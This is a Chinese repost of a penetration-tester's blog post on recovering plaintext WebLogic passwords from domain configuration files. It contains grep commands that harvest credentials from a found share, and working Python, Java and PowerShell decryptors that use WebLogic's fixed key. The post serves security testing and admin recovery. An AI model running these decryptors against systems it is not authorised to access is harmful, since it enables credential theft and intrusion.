解密WebLogic的密码

最新推荐文章于 2024-02-20 21:32:34 发布
最新推荐文章于 2024-02-20 21:32:34 发布
阅读量1.7k 收藏 1
点赞数
分类专栏： 服务器配置 文章标签： weblogic
原文链接：https://blog.netspi.com/decrypting-weblogic-passwords/
版权

t01045d7defa4ed3c07.png

最近我在渗透测试的时候遇到几个Linux服务器，上面有公众可访问的Samba共享。很多时候共享文件里都会有些有意思的东西，无论是用户的认证信息或者敏感文件对我们都会有帮助。这次我在共享文件夹里找到了一个名为“wls1035”的文件夹。在我仔细的翻了整个文件夹后，我发现他是一个WebLogic 服务器。

WebLogic是Oracle出品的一个跑java的应用服务器，我对WebLogic了解的不是太多，我在企业的环境中见过，但是我没有仔细的查看过他的文件结构。我试着找一些敏感的信息。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

user@box:~/wls1035# grep -R "password" *

Binary file oracle_common/modules/oracle.jdbc_12.1.0/aqapi.jar matches

oracle_common/plugins/maven/com/oracle/maven/oracle-common/12.1.3/oracle-common-12.1.3.pom:    <!-- and password for your server here. -->

user_projects/domains/mydomain/bin/startManagedWebLogic.sh:#  to your system password for no username and password prompt 

user_projects/domains/mydomain/bin/stopManagedWebLogic.sh:# WLS_PW         - cleartext password for server shutdown

user_projects/domains/mydomain/bin/stopWebLogic.sh:     if [ "${password}" != "" ] ; then

user_projects/domains/mydomain/bin/stopWebLogic.sh:              wlsPassword="${password}"

user_projects/domains/mydomain/bin/stopWebLogic.sh:echo "connect(${userID} ${password} url='${ADMIN_URL}', adminServerName='${SERVER_NAME}')" >>"shutdown-${SERVER_NAME}.py" 

user_projects/domains/mydomain/bin/startWebLogic.sh:    JAVA_OPTIONS="${JAVA_OPTIONS} -Dweblogic.management.password=${WLS_PW}"

user_projects/domains/mydomain/bin/startWebLogic.sh:echo "*  password assigned to an admin-level user.  For *"

user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:    if [ -n "$username" -a -n "$password" ]; then

user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       print_info "Investigating username: '$username' and password: '$password'"

user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$password" >>"$NMBootFile.tmp"

user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       unset username password

user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$Password" >>"$NMBootFile.tmp"

user_projects/domains/mydomain/init-info/config-nodemanager.xml:  <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password>

user_projects/domains/mydomain/init-info/security.xml:  <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user.">

 

密码不是明文显示的，而是以这种方式加密的：

{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=

我试着去找了下更多类似的密码：

 

1

2

3

4

5

6

7

8

9

user@box:~/wls1035# grep -R "{AES}" *

user_projects/domains/mydomain/init-info/config-nodemanager.xml:  <nod:password>{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=</nod:password>

user_projects/domains/mydomain/init-info/security.xml:  <user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user.">

user_projects/domains/mydomain/init-info/security.xml:  <user name="supersecretuser" password="{AES}BQp5xBlvsy6889edpwXUZxCbx7crRc5+TNuZHSBl50A=">

user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}/DG7VFmJODIZJoQGmqxU8OQfkZxiKLuHQ69vqYPgxyY=

user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}Bqy44qL0EM4ZqIqxgIRQxXv1lg7PxZ7lI1DLlx7njts=

user_projects/domains/mydomain/config/config.xml:    <credential-encrypted>{AES}Yl6eIijqn+zdATECxKfhW/42wuXD5Y+j8TOwbibnXkz/p4oLA0GiI8hSCRvBW7IRt/kNFhdkW+v908ceU75vvBMB4jZ7S/Vdj+p+DcgE/33j82ZMJbrqZiQ8CVOEatOL</credential-encrypted>

user_projects/domains/mydomain/config/config.xml:    <node-manager-password-encrypted>{AES}+sSbNNWb5K1feAUgG5Ah4Xy2VdVnBkSUXV8Rxt5nxbU=</node-manager-password-encrypted>

user_projects/domains/mydomain/config/config.xml:    <credential-encrypted>{AES}nS7QvZhdYFLlPamcgwGoPP7eBuS1i2KeFNhF1qmVDjf6Jg6ekiVZOYl+PsqoSf3C</credential-encrypted>

 

从前面的字符串我们大概知道密码是AES加密的，在老版本的WebLogic中，密码是3DES加密的，像这样

{3DES}JMRazF/vClP1WAgy1czd2Q==

这意味着我们一定要有解密的秘钥，为了更好的研究解密方法，我下载安装了自己的WebLogic服务器。

经过google我发现了一个python脚本可以很好的解密。很有意思的是WebLogic上自带了一个叫做WLST (WebLogic Scripting Tool)的脚本工具，利用该工具我们可以运行python。它包含了加密和解密的模块，我们可以运行下面的脚本来加密：

 

1

2

3

4

5

6

7

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline> pw = encrypt('password')

wls:/offline> print pw

{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=

 

如果想解密，我们可以使用从这篇文章获得的python脚本来完成。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

import os

import weblogic.security.internal.SerializedSystemIni

import weblogic.security.internal.encryption.ClearOrEncryptedService

def decrypt(agileDomain, encryptedPassword):

    agileDomainPath = os.path.abspath(agileDomain)

    encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)

    ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)

    password = ces.decrypt(encryptedPassword)

    print "Plaintext password is:" + password

try:

    if len(sys.argv) == 3:

        decrypt(sys.argv[1], sys.argv[2])

    else:

                   print "Please input arguments as below"

                   print "                Usage 1: java weblogic.WLST decryptWLSPwd.py  "

                   print "                Usage 2: decryptWLSPwd.cmd "

                   print "Example:"

                   print "                java weblogic.WLST decryptWLSPwd.py C:\Agile\Agile933\agileDomain {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="

                   print "                decryptWLSPwd.cmd {AES}JhaKwt4vUoZ0Pz2gWTvMBx1laJXcYfFlMtlBIiOVmAs="

except:

    print "Exception: ", sys.exc_info()[0]

    dumpStack()

raise

 

举例：

 

1

2

3

4

5

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST decrypt.py . "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

Plaintext password is:Password1

 

这样子是可以解密了，但是唯一的问题是我们必须要在WebLogic相同的domain下使用它，我想可以在没有WebLogic环境的情况下来解密。

一探究竟

我首先查看了之前用于加密和解密的python脚本调用了哪些类库。

 

1

2

import weblogic.security.internal.SerializedSystemIni

import weblogic.security.internal.encryption.ClearOrEncryptedService

 

他调用了下面的界面函数：

 

1

2

3

encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)

ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)

password = ces.decrypt(encryptedPassword)

 

第一行将domain的路径作为参数。在我们的例子中，路径为/root/wls12130/user_projects/domains/mydomain。通过weblogic.security.internal.SerializedSystemIni.getEncryptionService方法我们获得了SerializedSystemIni.dat文件，这个文件一般位于security文件夹中，里面存放了salt和和秘钥可以帮助我们加密和解密密码。

有了这个文件，我们便可以进行解密：

我写了一段java代码：

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

public static String decryptAES(String SerializedSystemIni, String ciphertext) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, IOException {

    byte[] encryptedPassword1 = new BASE64Decoder().decodeBuffer(ciphertext);

    byte[] salt = null;

    byte[] encryptionKey = null;

    String key = "0xccb97558940b82637c8bec3c770f86fa3a391a56";

    char password[] = new char[key.length()];

    key.getChars(0, password.length, password, 0);

    FileInputStream is = new FileInputStream(SerializedSystemIni);

    try {

        salt = readBytes(is);

        int version = is.read();

        if (version != -1) {

            encryptionKey = readBytes(is);

            if (version >= 2) {

                encryptionKey = readBytes(is);

            }

        }

    } catch (IOException e) {

    }

    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWITHSHAAND128BITRC2-CBC");

    PBEKeySpec pbeKeySpec = new PBEKeySpec(password, salt, 5);

    SecretKey secretKey = keyFactory.generateSecret(pbeKeySpec);

    PBEParameterSpec pbeParameterSpec = new PBEParameterSpec(salt, 0);

    Cipher cipher = Cipher.getInstance("PBEWITHSHAAND128BITRC2-CBC");

    cipher.init(Cipher.DECRYPT_MODE, secretKey, pbeParameterSpec);

    SecretKeySpec secretKeySpec = new SecretKeySpec(cipher.doFinal(encryptionKey), "AES");

    byte[] iv = new byte[16];

    System.arraycopy(encryptedPassword1, 0, iv, 0, 16);

    byte[] encryptedPassword2 = new byte[16];

    System.arraycopy(encryptedPassword1, 16, encryptedPassword2, 0, 16);

    IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);

    Cipher outCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");

    outCipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);

    byte[] cleartext = outCipher.doFinal(encryptedPassword2);

    return new String(cleartext, "UTF-8");

}

 

把SerializedSystemIni.dat文件作为第一个参数，要解密的密文作为第二个参数，执行之后成功输出了明文密码。

为了更好的理解，我决定不用java，所以我又用powershell编写了一段解密程序。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

<#

    Author: Eric Gruber 2015, NetSPI

    .Synopsis

    PowerShell script to decrypt WebLogic passwords

    .EXAMPLE

    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:\SerializedSystemIni.dat -CipherText "{3DES}JMRazF/vClP1WAgy1czd2Q=="

    .EXAMPLE

    Invoke-WebLogicPasswordDecryptor -SerializedSystemIni C:\SerializedSystemIni.dat -CipherText "{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug="

#>

function Invoke-WebLogicPasswordDecryptor

{

    [CmdletBinding()]

    Param

    (

        [Parameter(Mandatory = $true,

        Position = 0)]

        [String]

        $SerializedSystemIni,

        [Parameter(Mandatory = $true,

        Position = 0)]

        [String]

        $CipherText,

        [Parameter(Mandatory = $false,

        Position = 0)]

        [String]

        $BouncyCastle

    )

    if (!$BouncyCastle)

    {

        $BouncyCastle = '.\BouncyCastle.Crypto.dll'

    }

    Add-Type -Path $BouncyCastle

    $Pass = '0xccb97558940b82637c8bec3c770f86fa3a391a56'

    $Pass = $Pass.ToCharArray()

    if ($CipherText.StartsWith('{AES}'))

    {

        $CipherText = $CipherText.TrimStart('{AES}')

    }

    elseif ($CipherText.StartsWith('{3DES}'))

    {

        $CipherText = $CipherText.TrimStart('{3DES}')

    }

    $DecodedCipherText = [System.Convert]::FromBase64String($CipherText)

    $BinaryReader = New-Object -TypeName System.IO.BinaryReader -ArgumentList ([System.IO.File]::Open($SerializedSystemIni, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite))

    $NumberOfBytes = $BinaryReader.ReadByte()

    $Salt = $BinaryReader.ReadBytes($NumberOfBytes)

    $Version = $BinaryReader.ReadByte()

    $NumberOfBytes = $BinaryReader.ReadByte()

    $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)

    if ($Version -ge 2)

    {

        $NumberOfBytes = $BinaryReader.ReadByte()

        $EncryptionKey = $BinaryReader.ReadBytes($NumberOfBytes)

        $ClearText = Decrypt-AES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText

    }

    else

    {

        $ClearText = Decrypt-3DES -Salt $Salt -EncryptionKey $EncryptionKey -Pass $Pass -DecodedCipherText $DecodedCipherText

    }

    Write-Host "Password:" $ClearText

}

function Decrypt-AES

{

    param

    (

        [byte[]]

        $Salt,

        [byte[]]

        $EncryptionKey,

        [char[]]

        $Pass,

        [byte[]]

        $DecodedCipherText

    )

    $EncryptionCipher = 'AES/CBC/PKCS5Padding'

    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'

    $IV = New-Object -TypeName byte[] -ArgumentList 16

    [array]::Copy($DecodedCipherText,0,$IV, 0 ,16)

    $CipherText = New-Object -TypeName byte[] -ArgumentList ($DecodedCipherText.Length - 16)

    [array]::Copy($DecodedCipherText,16,$CipherText,0,($DecodedCipherText.Length - 16))

    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)

    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)

    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)

    $KeyCipher.Init($false, $CipherParameters)

    $Key = $KeyCipher.DoFinal($EncryptionKey)

    $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)

    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key

    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)

    $Cipher.Init($false, $ParametersWithIV)

    $ClearText = $Cipher.DoFinal($CipherText)

    [System.Text.Encoding]::ASCII.GetString($ClearText)

}

function Decrypt-3DES

{

    param

    (

        [byte[]]

        $Salt,

        [byte[]]

        $EncryptionKey,

        [char[]]

        $Pass,

        [byte[]]

        $DecodedCipherText

    )

    $EncryptionCipher = 'DESEDE/CBC/PKCS5Padding'

    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'

    $IV = New-Object -TypeName byte[] -ArgumentList 8

    [array]::Copy($Salt,0,$IV, 0 ,4)

    [array]::Copy($Salt,0,$IV, 4 ,4)

    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)

    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)

    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)

    $KeyCipher.Init($false, $CipherParameters)

    $Key = $KeyCipher.DoFinal($EncryptionKey)

    $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)

    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key

    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)

    $Cipher.Init($false, $ParametersWithIV)

    $ClearText = $Cipher.DoFinal($DecodedCipherText)

    [System.Text.Encoding]::ASCII.GetString($ClearText)

}

Export-ModuleMember -Function Invoke-WebLogicPasswordDecryptor

 

下面是测试

 

1

2

3

PS C:\> Import-Module .\Invoke-WebLogicDecrypt.psm1

PS C:\> Invoke-WebLogicDecrypt -SerializedSystemIni "C:\SerializedSystemIni.dat" -CipherText "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="

Password1

 

我还添加了对于老版本的WebLogic的支持

最后说一个小技巧，如果你的WebLogic使用的是新版本的AES加密，你可以通过修改SerializedSystemIni.dat文件的第六个byte来更换加密方式。

当字符为02时，他是AES加密：

在WLST中的输出：

 

1

2

3

4

5

6

7

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline> pw = encrypt('password')

wls:/offline> print pw

{AES}ZVmyuf5tlbDLR3t8cNIzyMeftK2/7LWElJfiunFl1Jk=

 

当修改为01时，他将启用3DES加密：

 

1

2

3

4

5

6

7

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline> pw = encrypt("Password1")

wls:/offline> print pw                 

{3DES}vNxF1kIDgtydLoj5offYBQ==

 

最后附上脚本的下载地址：

https://github.com/NetSPI/WebLogicPasswordDecryptor

mingling123456
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
weblogic密码加解密 - rznice的专栏 - CSDN博客1
08-03
1. 密钥K1进DES加密 2. K2对步骤1的结果进DES解密 3. 步骤2的结果使密钥K1进DES加密
WebLogic Server 账号密码密文解密小方法
做自己喜欢的事，并将其发挥到极致！
03-20 1433
WebLogic Server 账号密码密文解密小方法
Weblogic漏洞复现【含解密和shell连接工具】
最新发布
02-20 978
Weblogic漏洞复现，含解密和shell连接工具。
weblogic密码破解
mingling123456的专栏
06-04 2437
背景 相信做过oracle中间件的同学肯定都会遇到这样的情况 忘记weblogic管理员密码 忘记数据库schema密码 项目就像流水一样永不停息，每个项目又有多套环境，每个环境又有超级多的服务器，就产生了超级多的密码，程序员又懒又自负，自以为能记住所有密码，结果往往是悲剧的，幸运的是weblogic帮我们记住了所有的密码，虽然是加密的，但由于weblogic本身也要使用密码进行验证，因此加密必然是可逆的，这篇文档介绍如何进行解密。 在weblogic后台配置文件中，有很多是包含密码的，比如boot
Weblogic AES加密内容破解（数据源文件内的数据库密码和设置启动免输入的weblogic用户和密码）
ShA_QimA的博客
10-21 3230
一，找到weblogic的安装目录下的wlst.sh脚本 二，wlst.sh脚本 三，设置3个参数 逐条输入 domain = "/weblogic/bea/user_projects/domains/ha_domain/" service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain) encryption = weblogic.security.internal.encryptio
Weblogic(weak_password)任意文件读取、口令破解、文件上传 漏洞复现
陈瘦瘦的迪迦的博客
08-07 1707
Weblogic弱口令文件上传(weak_password)漏洞复现 漏洞形成原因 本环境存在 任意文件读取漏洞，可利用此漏洞配合解密工具得到登陆密码 登录后台后存在上传点，可上传一句话拿shell 漏洞如何利用 任意文件读取 ， http://172.16.2.174:7001/hello/file.jsp?path= #接文件路径 上传一句话拿shell 漏洞复现过程 Kali docker 容器中启动此漏洞环境 任意文件读取 weblogic密码使用AES（老版本3DES）加密，
Weblogic密码破解工具V1.0
12-27
weblogic密码破解工具，仅提供研究，不作商业用途或破坏！
WebLogic密码破解
04-23
在忘记原来的Weblogic密码的情况下,新接手中间件管理工程师,又不想重部应用,可用此法找回原来的用户密码.
weblogic密码超级无敌强的解密工具v1.0
04-17
weblogic密码超级无敌强的解密工具v1.0，超级无敌强的解密工具，只需要S***.dat和加密的密文即可完成一键解密，强的一批。 PS:jar文件，需要安装jdk环境，打开即可使用，童叟无欺
解密WebLogic的密码 - 安全客 - 有思想的安全新媒体1
08-03
密码不是明文显示的，而是以这种方式加密的：我试着去找了下更多类似的密码：从前面的字符串我们大概知道密码是AES加密的，在老版本的WebLogic中，密码是3DE
修改后的DES加密解密程序
wonder的地下室
05-23 2449
import java.security.Security;import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import sun.misc.BASE64Decoder
java破解weblogic密码
06-22
支持weblogic 10以上版本 账号密码破解，只需要指定weblogic系统文件位置。亲测可用。
一个weblogic10.3.0启动错误的解决办法
rongkun06的专栏
06-21 2688
error com.rsa.jsafe.JSAFE_PaddingException: Could not perform unpadding: invalid pad byte
WebLogic 控制台密码破解
yangkei
03-26 1685
1， 环境准备 操作系统：Windows 7 Eclipse版本：Mars.2 Release (4.5.2) 下载地址：https://maven.apache.org/docs/history.html JDK版本：jdk1.7.0_55（下载地址：https://www.oracle.com/java/technologies/javase/javase7-archive-downlo...
解密JBoss和Weblogic数据源连接字符串和控制台密码
chuancuili8770的博客
07-29 195
0x00 背景 现在越来越多的站喜欢用java语言的框架做web应用了，这里应用有很多大型站点经常采用jboss或者weblogic做web服务器。出于安 全原因，他们都提供把数据源连接密码以及web服务器后台密码加密的功能，jboss用的是blowfish，weblogi...
初等数据加密——对称加密算法
chiqiao5151的博客
04-19 467
对称加密算法是当今应用范围最广，使用频率最高的加密算法。根据加密方式分为密码和分组密码，分组密码工作模式又可分为ECB、CBC、CFB、OFB和CTR等，密钥长度决定了加密算法的安全性。 DES算法的使用 DES（Data Encryption Standard，数据加密标准）算...
密码加密
czpae86x的专栏
07-12 97
  import java.security.NoSuchAlgorithmException; import java.security.SecureRandom; import java.security.spec.InvalidKeySpecException; import java.security.spec.KeySpec; import java.util.Arrays; ...
口令加密算法 - Java加密与安全
Leon_Jinhai_Sun的博客
05-07 4017
口令加密 我们在前面介绍了对称加密算法,他们的key其实一个byte数组,例如AES256算法,他的key实际上是一个32位的数组 我们普通的加入软件有所不同,我们在使用WinRAR这样的软件的时候,通常是用户输入的加密口令 如果我们要用户自己输入口令,我们就需要用到PBE算法,它是Password Based Encryption的缩写,PEB算法是由用户输入口令, 然...
修改WebLogic密码
07-20
要修改WebLogic密码，可以按照以下步骤进行操作： 1. 打开WebLogic控制台（WebLogic Console）。通常可以通过访问以下URL来访问控制台：http://localhost:7001/console （根据你的WebLogic配置可能会有所不同）。 2. 使用管理员账户登录到WebLogic控制台。 3. 导航到“Domain Structure”（域结构） -> “Security Realms”（安全域） -> “myrealm”（或其他你正在使用的域名）。 4. 在“myrealm”页面上，单击“Users and Groups”（用户和组）选项卡。 5. 在“Users and Groups”页面上，找到你要修改密码的用户，并点击其用户名。 6. 在用户详细信息页面上，找到“Password”（密码）字段，并点击“Reset”（重置）按钮。 7. 在弹出的对话框中，输入新密码并确认。 8. 点击“Save”（保存）按钮以保存新密码。 现在，你已经成功修改了WebLogic密码。请确保记住新密码并妥善保管。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值